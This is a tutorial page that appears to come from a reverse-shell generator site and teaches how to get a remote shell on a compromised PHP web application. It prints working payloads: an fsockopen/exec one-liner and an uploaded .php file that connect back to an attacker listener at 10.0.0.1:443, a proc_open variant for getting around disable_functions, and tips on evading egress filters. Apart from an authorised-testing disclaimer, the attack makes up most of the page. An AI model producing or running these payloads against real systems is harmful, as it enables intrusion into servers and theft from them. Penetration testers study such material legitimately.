PHP Reverse Shell: From One-Liner to disable_functions
How a PHP reverse shell works on a compromised web app, the fsockopen and proc_open variants, and what to do when exec is disabled.
A PHP reverse shell is what you reach for after turning a web vulnerability — an unrestricted file upload, an LFI that reaches logs, a deserialization bug — into PHP code execution. The web server is already running PHP, so a PHP payload needs no extra interpreter on the box. The friction is different here: it is the hardened PHP configuration, not the language.
The Core One-Liner
php -r '$sock=fsockopen("10.0.0.1",443);exec("/bin/sh -i <&3 >&3 2>&3");'
fsockopen opens a TCP connection to your listener and, conveniently, the new socket lands on file descriptor 3. The exec then launches /bin/sh -i with stdin, stdout, and stderr all redirected to fd 3 (<&3 >&3 2>&3) — so the shell talks over the socket. Listener side is the usual nc -lvnp 443.
When you have written a file to the server (the upload case), the same logic goes in a .php file that you then request in a browser:
<?php $sock=fsockopen("10.0.0.1",443); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
Hitting that URL runs the code as the web server user.
The Real Obstacle: disable_functions
Production PHP is frequently hardened. php.ini often sets disable_functions to block exec, system, shell_exec, passthru, popen, and proc_open. If the one-liner does nothing, that is usually why. Check what is available:
<?php echo ini_get("disable_functions"); ?>
If exec is blocked but proc_open survived, use it:
<?php
$d=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
$p=proc_open("/bin/sh -i",$d,$pipes);
$s=fsockopen("10.0.0.1",443);
// shuttle bytes between $s and the proc pipes...
?>
When every command-execution function is disabled, a shell-out is off the table and you pivot to PHP-native techniques — reading files, hitting internal services, or abusing a chained primitive — rather than fighting the config. Knowing which functions remain decides the whole approach.
It Runs as www-data, Not root
A PHP reverse shell lands you as the web server user (www-data, apache, nginx), in a non-interactive shell, often inside a container. That is the starting line, not the finish:
- Upgrade the TTY so you get job control and
sudoworks — see upgrading a reverse shell. - Expect a container. Web stacks are frequently containerized; what to enumerate is covered in reverse shells in containers.
Why Yours Isn't Connecting
disable_functionsblocks your exec function — check it and switch toproc_openor another approach.- Quoting — PHP payloads delivered through a URL parameter or JSON get double-escaped fast; see payload quoting.
- Egress filtered from the server — prefer
443/80. - Listener mismatch — confirm with choosing a listener.
See also why reverse shells fail.
Generate a Clean PHP Payload
The reverse shell generator produces the fsockopen one-liner and file variants with your LHOST/LPORT already in place and the matching listener beside them — so the only thing left to solve is the target's PHP configuration, not the payload syntax.
Authorized Testing Only
Only deploy PHP reverse shells against web applications you own or are explicitly authorized to test. The technique is identical regardless of intent; the authorization is what makes it lawful.